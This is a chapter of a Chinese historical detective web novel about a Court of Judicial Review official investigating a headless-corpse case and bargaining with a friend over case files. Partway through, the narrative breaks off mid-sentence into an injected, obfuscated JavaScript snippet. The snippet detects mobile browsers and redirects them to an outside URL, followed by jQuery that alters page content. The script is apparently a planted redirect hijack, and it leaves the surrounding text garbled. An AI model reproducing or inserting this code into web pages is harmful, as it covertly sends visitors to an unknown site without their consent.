卯时初,天未破晓,细雨斜风,宿云将微。
御街两侧未有行人,大理寺署门却早已大开。
厅事堂,银鹤香炉,甘松正燃,烟雾袅袅,氤氲在亓正清的乌纱帽檐下,他案前铺展着《大宣刑统》,眸眼冷静,只是指节不住地敲击桌面。
昨夜他在寺中值宿,四更天时,京兆府那边就急急忙忙送来国子监的案卷,他翻看一夜,几乎未曾合眼,眼下一片青影。
厅下两列属官垂手肃立,为首的大理寺主簿娄昇躬身上前,声线平稳:“禀少卿,昨夜京兆府移送的无头尸案卷宗,已分付司直、评事分头勘合。
仵作现在复验尸身,待勘验牒文拟好,即刻呈送给少卿过目。
不知少卿现下,可要亲往验尸之处察看?”
亓正清合上卷案封皮,不紧不慢道:“京中失踪的四品京官,排查得如何?”
“京内在册四品朝臣,逐一核查完毕,并无失联缺职之人。”
娄昇禀道:“不过上月太常寺卿吴宴吉,调任甘州通判,离京赴任至今音讯未明,属下已遣人赶往甘州查探踪迹,核验其是否如期到任。”
亓正清微微颔首,神色未动,按着桌沿,直身而起:“走吧,前往验尸堂。”
验尸堂内,不见天日,四壁黏着湿冷的血腥气以及呛鼻的皂角浓烟,窗缝间隙漏出来一点微光,但依旧难以退去堂内的阴冷。
亓正清进去时,李不密正在验尸,眉眼专注,见他来了,放下手中还沾着血迹的小刀,躬身一揖到底:“下官见过大人。”
亓正清面色冷淡,目光沉沉,径直落在堂中那具覆着青布的尸身之上,他并未多言,只应了一声“嗯”。
李不密身侧立着一位素衣女子,戴着麻布面巾,自始自终都安静地站在他身旁,递刀、捧盘、量骨、记痕,事事都做得稳妥娴熟。
“她是何人,从前倒未曾见过。”
“回大人,此女名唤苪禧,是下官一月前新收的关门弟子。”
“陛下素来推崇女子入学、择才入仕,然大多只能供职于户部、礼部文职,品阶亦限,鲜少破格,刑狱仵作一职更是少人涉足。而今你竟收得女子为门徒,倒是一桩罕事、也是一桩幸事。”
亓正清的视线压在苪禧身上,带了点审视的意味:“只是你既未将她录入大理寺仵作名籍,也未曾向我禀奏请示,便这般私自带她入大理寺勘验尸身吗?”
亓正清抬眼看向李不密,帽檐投下的阴影遮住他眼底神色,只是唇角缓缓勾起一抹极淡的笑:“李不密,你逾矩了。”
李不密筋骨一颤,冷汗涔涔而下,不敢去看他半分,脊背弯得更低了些。
“大人……我……下官……”
苪禧突然开口,不卑不亢道:“回大人,家父本为京兆府仵作苪途,我自幼跟着父亲在仵作房里长大,耳濡目染,也算是学了一身本事。”
“只是不久前,父亲染病没了,家中只我一人,无依无靠。师父念我略通勘验,又恐我流落市井误了前程,便收留我在身边打杂。”
“师父并非有意越过规制,只是今日案情紧急,师父人手紧张,我便自发请求前来协助记录勘验。”
她一边说着,一边走上前,弯下身子:“今日之事,皆在小女之过,与师父无关,望大人明察。”
话音落,她侧身让开半步,衣摆扫过石板,俯身叩首。
李不密听得此言,面色一紧,转头看向苪禧,想说些什么,却在对上苪禧眼神的瞬间,闭了嘴。
“奉法循礼,乃为官之本;守规遵制,乃断狱之基。”
亓正清看了她片刻,最后低身道:“罢了,起来吧,今日之事,暂不追究,只是若案情有泄露,尸身有差池,拿你们是问。”
苪禧起来时,亓正清注意到她的指骨较厚,四指根部有愈合的裂口,虎口外侧满是硬痂,绝非普通勘验工具所能磨就。
更何况掌心茧状沉实,分明是常年紧握长柄利器,日复一日,握持操练,方才留下这般痕迹,长剑还是木锥,亦或是横刀?
苪禧察觉他目光所及,悄无声息将双手垂敛于身侧,蜷缩在衣袂褶皱阴影处。
亓正清眉峰微敛,并未当场提出心中疑问,吩咐道:“娄昇,带她退下。”
他又看向李不密,袍袖微垂,气度沉严:“我记得你兄长李不休,今日亦在寺中当值,未曾休沐。既然人手短缺,我便即刻唤他前来,重新复验,不得有半分疏漏。”
“你觉如何?”
“大人思虑周全,下官不敢有异议,一切但凭大人吩咐。”
待复验完毕,已是辰时初,亓正清才抽身离去,一路轻车简从,径直回府。
亓府,宵山亭。
李持砚指间拈着一枚白子,悬了半晌,才缓缓落于天元一侧,抬头看向亓正清。
“弈贵专心,心驰则棋散。”他道,“亓兄今日心不在楸枰,这一子落得躁了。”
亓正清执着棋,却并未去看那棋盘。
“心事难藏,倒叫你见笑了。”他声音淡得像亭外掠过纱帘的风,“不过,一局闲棋,错一步,又何妨。”
“亓兄豁达。”李持砚将手中白子搁在棋盘边,语气平缓却意有所指,“闲奕棋局,尚可覆局重来;人生行棋,一子不慎,满盘皆输。”
“也不知……”李持砚目光落于棋盘纵横之间,轻哂道,“昨夜国子监事发,如今案子想来已交由大理寺查办,不知我所言,可属实?”
乌木棋盘上星罗棋布,黑白子分列经纬,炉上露水煎茶的细响,衬得亭中愈发静得惊心。
亓正清拈出一枚黑子,重重按在棋盘上,抬眸望他,眸光深寂:“此案除了寺内承办官员、京兆府涉事吏员,知者寥寥,你如何知道的?”
李持砚迎上他的眼睛,敛去面上神色,话音随之沉了下来。
“我自京西归京时,正好撞上吴宴吉领了调任旨意,出京往甘州赴任。”李持砚端起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376799|200107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
茶盏,吹开浮叶,“堂堂正三品太常寺卿,平白无故被贬去京西甘州做通判,我自然要留个心眼。”
“上月下旬,我就收到消息,吴宴吉根本没到甘州,连甘州的地界都没挨上,人在京畿边界就失了踪迹。”
亓正清指尖动了动,道:“吴宴吉早年在国子监做了五年的直讲,桃李遍半朝。如今国子监上下官佐与他多有渊源,你既有疑心,便派人在国子监周遭布了眼线。”
风趋云壑,帘幕卷晨阳,李持砚闻言轻偏头颅,笑道:“亓兄这是抬举我了,我哪能算得如此精准。”
“实不相瞒,但凡与吴宴吉沾些渊源的地界与人,我都尽数遣人暗中守着,不敢漏过一处。只是昨夜派去国子监的人,至今未曾回来回报,心中便已猜到,怕是那边出了变故。”
亓正清抬眸看向他:“你绕了这么大一圈,总不会就为跟我求证此案归不归大理寺查办吧,说吧,你想要些什么?”
李持砚也不再绕弯,直截了当道:“我只要两样东西,昨夜国子监这桩事的完整案卷,以及……”
“去年御史台弹劾,至今仍压在大理寺核查的,萧伯文监临奸一案,我也要看完整的案卷。”
亭内气氛变得越来越浓重,荷上水珠滑落,一滴,两滴,闷闷地砸在水面上。
良久,亓正清低声开口:“案卷,我不能给你。”
“事以密成,语以泄败,刑狱尤甚,我若真把机要案卷给了你,三尺法安在,我又如何掌得天下刑狱?”
李持砚正欲开口,又听亓正清继续道。
“国子监一案涉及亓家,我自会引嫌避仇,此案径交刑部,恐对我亓门多有不妥。我会据实直奏陛下,由陛下定夺。届时,你就可知晓了。”
“至于萧伯文一案,不违刑律、不碍查案,我可言者,自会告知予你。”
“无论如何,还请你,护好我小妹。”
李持砚持盏的手,悬了半晌,才终于落回案上。
他心中似有空洞,大概是被这炉上煎水不经意间烫出来,他此前推演万千,却未曾想到此案竟与亓家牵连。
他正想着,亭外笑声渐起,碧水自手中漫撒,水声潺潺,如鸣佩环,亓春眠伏在池沿,单提着线,也不挂钩,闭着眼在荷间,轻晃着身体。
春月荷未开,只随着她的动作,盈盈摇着青苞。荷下鲫鱼正肥,花燃站在一旁,手里抛着耳,水波方颤,那腹厚肉美的青灰团子,就往亓春眠那拱。
花燃是捕鱼的快手,未入亓府之时,她年纪不过十岁,恰逢大涝凶年,五谷不生,她流离饥馑在外,又独自之人,就靠这捕鱼的手艺,硬生生把自己养活。
随后她操起篓子一捞,那鱼就摆着尾巴躺在案上,亓春眠慢慢掀开眼帘,脱下褙子,裹着肥鱼,举到胸前,嗤嗤笑不已。
“本娘子钓鱼,无钩无饵,连竿儿也无,愿者上钩,真是妙——啊。”
“母亲,你瞧儿,眠儿钓上一只大团子!”